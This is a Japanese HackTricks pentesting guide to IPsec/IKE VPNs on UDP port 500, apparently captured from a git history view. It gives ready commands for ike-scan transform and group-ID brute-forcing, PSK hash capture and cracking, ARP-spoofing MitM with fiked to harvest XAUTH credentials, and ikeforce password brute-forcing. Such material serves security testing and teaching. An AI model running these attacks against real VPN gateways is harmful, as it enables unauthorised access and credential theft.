hacktricks/network-services-pentesting/ipsec-ike-vpn-pentesting.md

271 lines
22 KiB
Markdown
Raw Normal View History

# 500/udp - IPsec/IKE VPNのペンテスト
2022-04-28 16:01:33 +00:00
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
<details>
2022-04-28 16:01:33 +00:00
<summary>HackTricksをサポートする</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
2022-04-28 16:01:33 +00:00
</details>
{% endhint %}
{% endhint %}
2022-04-28 16:01:33 +00:00
## 基本情報
**IPsec**は、ネットワーク間LAN-to-LANおよびリモートユーザーからネットワークゲートウェイリモートアクセスへの通信を保護するための主要な技術として広く認識されており、企業VPNソリューションのバックボーンとして機能します。
2つのポイント間の**セキュリティアソシエーションSA**の確立は、認証と鍵交換のために設計されたプロトコルであるISAKMPの下で動作する**IKE**によって管理されます。このプロセスは、いくつかのフェーズで展開されます:
* **フェーズ1** 2つのエンドポイント間に安全なチャネルが作成されます。これは、事前共有鍵PSKまたは証明書を使用し、3対のメッセージを含むメインモードまたは**アグレッシブモード**を使用して達成されます。
* **フェーズ1.5** 必須ではありませんが、拡張認証フェーズとして知られるこのフェーズでは、ユーザー名とパスワードを要求することで接続を試みるユーザーの身元を確認します。
* **フェーズ2** このフェーズは、**ESP**および**AH**を使用してデータを保護するためのパラメータを交渉することに専念しています。これは、**完全前方秘匿性PFS**を確保するために、フェーズ1とは異なるアルゴリズムの使用を許可し、セキュリティを強化します。
**デフォルトポート:** 500/udp
## **nmapを使用して**サービスを発見する
```
root@bt:~# nmap -sU -p 500 172.16.21.200
Starting Nmap 5.51 (http://nmap.org) at 2011-11-26 10:56 IST
Nmap scan report for 172.16.21.200
Host is up (0.00036s latency).
PORT STATE SERVICE
500/udp open isakmp
MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems)
```
## **有効な変換の発見**
IPSecの設定は、1つまたはいくつかの変換のみを受け入れるように準備できます。変換は値の組み合わせです。**各変換**には、**暗号化アルゴリズム**としてのDESまたは3DES、**整合性アルゴリズム**としてのSHAまたはMD5、**認証タイプ**としての事前共有キー、鍵の**配布アルゴリズム**としてのDiffie-Hellman 1または2、そして**有効期限**としての28800秒などの属性が含まれています。
次に、最初に行うべきことは、**有効な変換を見つける**ことです。そうすれば、サーバーがあなたと通信します。そのために、ツール**ike-scan**を使用できます。デフォルトでは、Ike-scanはメインモードで動作し、ISAKMPヘッダーと**8つの変換を含む**単一の提案を持つパケットをゲートウェイに送信します。
応答に応じて、エンドポイントに関する情報を取得できます:
```
root@bt:~# ike-scan -M 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200 Main Mode Handshake returned
2023-07-07 23:42:27 +00:00
HDR=(CKY-R=d90bf054d6b76401)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)
Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 returned handshake; 0 returned notify
```
As you can see in the previous response, there is a field called **AUTH** with the value **PSK**. This means that the vpn is configured using a preshared key (and this is really good for a pentester).\
**The value of the last line is also very important:**
* _0 returned handshake; 0 returned notify:_ これはターゲットが**IPsecゲートウェイではない**ことを意味します。
* _**1 returned handshake; 0 returned notify:**_ これは**ターゲットがIPsec用に設定されており、IKEネゴシエーションを行う意向があり、提案した変換の1つ以上が受け入れ可能である**ことを意味します(有効な変換は出力に表示されます)。
* _0 returned handshake; 1 returned notify:_ VPNゲートウェイは、**変換が受け入れ可能でない場合**に通知メッセージで応答します(ただし、一部のゲートウェイはそうしないため、その場合はさらなる分析と修正された提案を試みる必要があります)。
次に、この場合、すでに有効な変換がありますが、3番目のケースにいる場合は、**有効な変換を見つけるために少しブルートフォースする必要があります:**
まず、すべての可能な変換を作成する必要があります:
```bash
for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for AUTH in 1 2 3 4 5 6 7 8 64221 64222 64223 64224 65001 65002 65003 65004 65005 65006 65007 65008 65009 65010; do for GROUP in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do echo "--trans=$ENC,$HASH,$AUTH,$GROUP" >> ike-dict.txt ;done ;done ;done ;done
```
そして、ike-scanを使用してそれぞれをブルートフォース攻撃しますこれには数分かかる場合があります
```bash
while read line; do (echo "Valid trans found: $line" && sudo ike-scan -M $line <IP>) | grep -B14 "1 returned handshake" | grep "Valid trans found" ; done < ike-dict.txt
```
もしブルートフォースが機能しなかった場合、サーバーが有効なトランスフォームに対してもハンドシェイクなしで応答している可能性があります。その場合、攻撃的モードを使用して同じブルートフォースを試すことができます:
```bash
while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive -P handshake.txt $line <IP>) | grep -B7 "SA=" | grep "Valid trans found" ; done < ike-dict.txt
```
希望としては、**有効な変換が返される**ことです。\
[**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py)を使用して**同じ攻撃**を試すことができます。\
[**ikeforce**](https://github.com/SpiderLabs/ikeforce)を使用して変換をブルートフォースすることも試すことができます:
```bash
./ikeforce.py <IP> # No parameters are required for scan -h for additional help
```
![](<../.gitbook/assets/image (617).png>)
**DHグループ: 14 = 2048ビットMODP**および**15 = 3072ビット**\
**2 = HMAC-SHA = SHA1この場合。`--trans`形式は$Enc,$Hash,$Auth,$DHです。**
Ciscoは、DHグループ1および2は強度が不十分であるため使用を避けるように指示しています。専門家は、**リソースが豊富な国々はこれらの弱いグループを使用するデータの暗号を簡単に破ることができる**と考えています。これは、コードを迅速に解読するための特別な方法を使用して行われます。この方法を設定するのには多くの費用がかかりますが、強度の低いグループ例えば、1,024ビット以下を使用している場合、これらの強力な国々は暗号化されたデータをリアルタイムで読むことができます。
### サーバーフィンガープリンティング
次に、ike-scanを使用してデバイスの**ベンダーを発見**しようとすることができます。このツールは初期提案を送信し、再生を停止します。その後、サーバーから受信した**メッセージ**と一致する応答パターンの**時間**差を**分析**することで、ペンテスターはVPNゲートウェイのベンダーを成功裏にフィンガープリンティングできます。さらに、一部のVPNサーバーはIKEでオプションの**ベンダーIDVIDペイロード**を使用します。
**必要に応じて有効な変換を指定します**--transを使用
IKEがベンダーを発見すると、それを印刷します
```
root@bt:~# ike-scan -M --showbackoff 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200 Main Mode Handshake returned
2023-07-07 23:42:27 +00:00
HDR=(CKY-R=4f3ec84731e2214a)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)
IKE Backoff Patterns:
2023-07-07 23:42:27 +00:00
IP Address No. Recv time Delta Time
172.16.21.200 1 1322286031.744904 0.000000
172.16.21.200 2 1322286039.745081 8.000177
172.16.21.200 3 1322286047.745989 8.000908
172.16.21.200 4 1322286055.746972 8.000983
172.16.21.200 Implementation guess: Cisco VPN Concentrator
2023-07-07 23:42:27 +00:00
Ending ike-scan 1.9: 1 hosts scanned in 84.080 seconds (0.01 hosts/sec). 1 returned handshake; 0 returned notify
```
これは nmap スクリプト _**ike-version**_ を使っても達成できます。
## 正しい ID (グループ名) の見つけ方
ハッシュをキャプチャするためには、Aggressive モードをサポートする有効な変換と正しい ID (グループ名) が必要です。おそらく有効なグループ名はわからないので、ブルートフォースする必要があります。\
そのために、2 つの方法をお勧めします。
### ike-scan を使った ID のブルートフォース
まず、偽の ID でリクエストを試みてハッシュを収集します ("-P"):
```bash
ike-scan -P -M -A -n fakeID <IP>
```
もし**ハッシュが返されない**場合、このブルートフォースの方法は機能する可能性が高いです。**もしいくつかのハッシュが返された場合、これは偽のIDに対して偽のハッシュが返されることを意味するため、この方法はIDをブルートフォースするには信頼できません**。例えば、偽のハッシュが返されることがあります(これは最新のバージョンで発生します):
![](<../.gitbook/assets/image (917).png>)
しかし、私が言ったように、ハッシュが返されない場合は、ike-scanを使用して一般的なグループ名をブルートフォースすることを試みるべきです。
このスクリプトは**可能なIDをブルートフォースし**、有効なハンドシェイクが返されたIDを返しますこれが有効なグループ名になります
特定の変換を発見した場合は、それをike-scanコマンドに追加してください。そして、いくつかの変換を発見した場合は、すべてを試すために新しいループを追加しても構いませんどれかが正しく機能するまで、すべてを試すべきです
一般的なグループ名をブルートフォースするために、[ikeforceの辞書](https://github.com/SpiderLabs/ikeforce/blob/master/wordlists/groupnames.dic)や[seclistsの辞書](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/ike-groupid.txt)を使用できます:
```bash
2021-01-18 14:24:10 +00:00
while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>) | grep -B14 "1 returned handshake" | grep "Found ID:"; done < /usr/share/wordlists/external/SecLists/Miscellaneous/ike-groupid.txt
```
Or use this dict (is a combination of the other 2 dicts without repetitions):
{% file src="../.gitbook/assets/vpnIDs.txt" %}
### Ikerを使ったIDのブルートフォース
[**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py) は、**ike-scan**を使用して可能なグループ名をブルートフォースします。これは、**ike-scanの出力に基づいて有効なIDを見つける**独自の方法に従います。
### ikeforceを使ったIDのブルートフォース
[**ikeforce.py**](https://github.com/SpiderLabs/ikeforce) は、**IDをブルートフォースするために使用できるツール**です。このツールは、**有効なIDと無効なIDを区別するために使用できるさまざまな脆弱性を悪用しようとします**偽陽性と偽陰性が発生する可能性があるため、可能であればike-scanメソッドを使用することを好みます
デフォルトでは、**ikeforce**は最初にサーバーの動作を確認し、使用する戦術を決定するためにいくつかのランダムなIDを送信します。
* **最初の方法**は、**CiscoシステムのDead Peer Detection DPD**に関する情報を**検索することによってグループ名をブルートフォースする**ことです(この情報は、グループ名が正しい場合にのみサーバーによって再生されます)。
* **利用可能な第二の方法**は、**各試行に送信された応答の数をチェックする**ことです。正しいIDが使用されると、より多くのパケットが送信されることがあります。
* **第三の方法**は、**不正なIDに対する応答で「INVALID-ID-INFORMATION」を検索する**ことです。
* 最後に、サーバーがチェックに対して何も再生しない場合、**ikeforce**はサーバーをブルートフォースし、正しいIDが送信されたときにサーバーがパケットで応答するかどうかを確認します。\
明らかに、IDをブルートフォースする目的は、有効なIDを持っているときに**PSK**を取得することです。その後、**ID**と**PSK**を使用してXAUTHをブルートフォースする必要があります有効な場合
特定の変換を発見した場合は、それをikeforceコマンドに追加してください。また、複数の変換を発見した場合は、それらすべてを試すために新しいループを追加してくださいすべてを試して、どれかが正常に動作するまで続けるべきです
```bash
git clone https://github.com/SpiderLabs/ikeforce.git
pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
```
```bash
./ikeforce.py <IP> -e -w ./wordlists/groupnames.dic
```
### Sniffing ID
(From the book **Network Security Assessment: Know Your Network**): VPNクライアントとサーバー間の接続をスニッフィングすることで、有効なユーザー名を取得することも可能です。クライアントIDを含む最初のアグレッシブモードパケットは平文で送信されます。
![](<../.gitbook/assets/image (891).png>)
## Capturing & cracking the hash
最後に、**有効な変換**と**グループ名**を見つけ、**アグレッシブモードが許可されている**場合、非常に簡単にクラック可能なハッシュを取得できます:
```bash
ike-scan -M -A -n <ID> --pskcrack=hash.txt <IP> #If aggressive mode is supported and you know the id, you can get the hash of the passwor
```
ハッシュは _hash.txt_ に保存されます。
**psk-crack**、**john**[**ikescan2john.py**](https://github.com/truongkma/ctf-tools/blob/master/John/run/ikescan2john.py) を使用)および **hashcat** を使用してハッシュを**クラック**できます:
2021-01-18 14:26:55 +00:00
```bash
2022-01-12 14:33:12 +00:00
psk-crack -d <Wordlist_path> psk.txt
```
## **XAuth**
**攻撃的モード IKE** は **事前共有鍵 (PSK)** と組み合わせて **グループ認証** の目的で一般的に使用されます。この方法は **XAuth (拡張認証)** によって強化され、追加の **ユーザー認証** 層を導入します。このような認証は通常、**Microsoft Active Directory**、**RADIUS**、または同様のシステムを利用します。
**IKEv2** に移行すると、**XAuth** の代わりに **EAP (拡張認証プロトコル)** がユーザー認証の目的で利用される顕著な変化が見られます。この変更は、安全な通信プロトコル内での認証慣行の進化を強調しています。
### ローカルネットワーク MitM による資格情報のキャプチャ
したがって、_fiked_ を使用してログインのデータをキャプチャし、デフォルトのユーザー名があるかどうかを確認できますIKEトラフィックを `fiked` にリダイレクトしてスニッフィングを行う必要があります。これはARPスプーフィングの助けを借りて行うことができます、[詳細情報](https://opensourceforu.com/2012/01/ipsec-vpn-penetration-testing-backtrack-tools/)。Fiked は VPN エンドポイントとして機能し、XAuth 資格情報をキャプチャします:
2021-01-18 14:26:55 +00:00
```bash
fiked -g <IP> -k testgroup:secretkey -l output.txt -d
```
また、IPSecを使用してMitM攻撃を行い、ポート500へのすべてのトラフィックをブロックしてみてください。IPSecトンネルが確立できない場合、トラフィックはクリアで送信される可能性があります。
### ikeforceを使用したXAUTHユーザー名とパスワードのブルートフォース
**XAUTH**をブルートフォースするには(有効なグループ名**id**と**psk**がわかっている場合)、ユーザー名またはユーザー名のリストとパスワードのリストを使用できます:
2021-01-18 14:26:55 +00:00
```bash
./ikeforce.py <IP> -b -i <group_id> -u <username> -k <PSK> -w <passwords.txt> [-s 1]
```
この方法で、ikeforceは各ユーザー名:パスワードの組み合わせを使用して接続を試みます。
有効な変換が1つまたは複数見つかった場合は、前のステップと同様にそれらを使用してください。
## IPSEC VPNによる認証
Kaliでは、**VPNC**を使用してIPsecトンネルを確立します。**プロファイル**はディレクトリ`/etc/vpnc/`に配置する必要があります。これらのプロファイルはコマンド_**vpnc**_を使用して開始できます。
以下のコマンドと設定は、VPNCを使用してVPN接続を設定するプロセスを示しています
```bash
root@system:~# cat > /etc/vpnc/samplevpn.conf << STOP
IPSec gateway [VPN_GATEWAY_IP]
IPSec ID [VPN_CONNECTION_ID]
IPSec secret [VPN_GROUP_SECRET]
IKE Authmode psk
Xauth username [VPN_USERNAME]
Xauth password [VPN_PASSWORD]
STOP
root@system:~# vpnc samplevpn
VPNC started in background (pid: [PID])...
root@system:~# ifconfig tun0
```
このセットアップでは:
* `[VPN_GATEWAY_IP]` をVPNゲートウェイの実際のIPアドレスに置き換えます。
* `[VPN_CONNECTION_ID]` をVPN接続の識別子に置き換えます。
* `[VPN_GROUP_SECRET]` をVPNのグループシークレットに置き換えます。
* `[VPN_USERNAME]``[VPN_PASSWORD]` をVPN認証情報に置き換えます。
* `[PID]``vpnc` が開始されるときに割り当てられるプロセスIDを示します。
VPNを構成する際には、プレースホルダーを置き換えるために実際の安全な値を使用してください。
## 参考資料
* [PSK cracking paper](http://www.ernw.de/download/pskattack.pdf)
* [SecurityFocus Infocus](http://www.securityfocus.com/infocus/1821)
* [Scanning a VPN Implementation](http://www.radarhack.com/dir/papers/Scanning\_ike\_with\_ikescan.pdf)
* Network Security Assessment 3rd Edition
## Shodan
2020-10-05 13:59:40 +00:00
* `port:500 IKE`
2022-04-28 16:01:33 +00:00
{% hint style="success" %}
AWSハッキングを学び、練習する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、練習する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
2022-04-28 16:01:33 +00:00
<summary>HackTricksをサポートする</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
2022-04-28 16:01:33 +00:00
</details>
{% endhint %}
</details>
{% endhint %}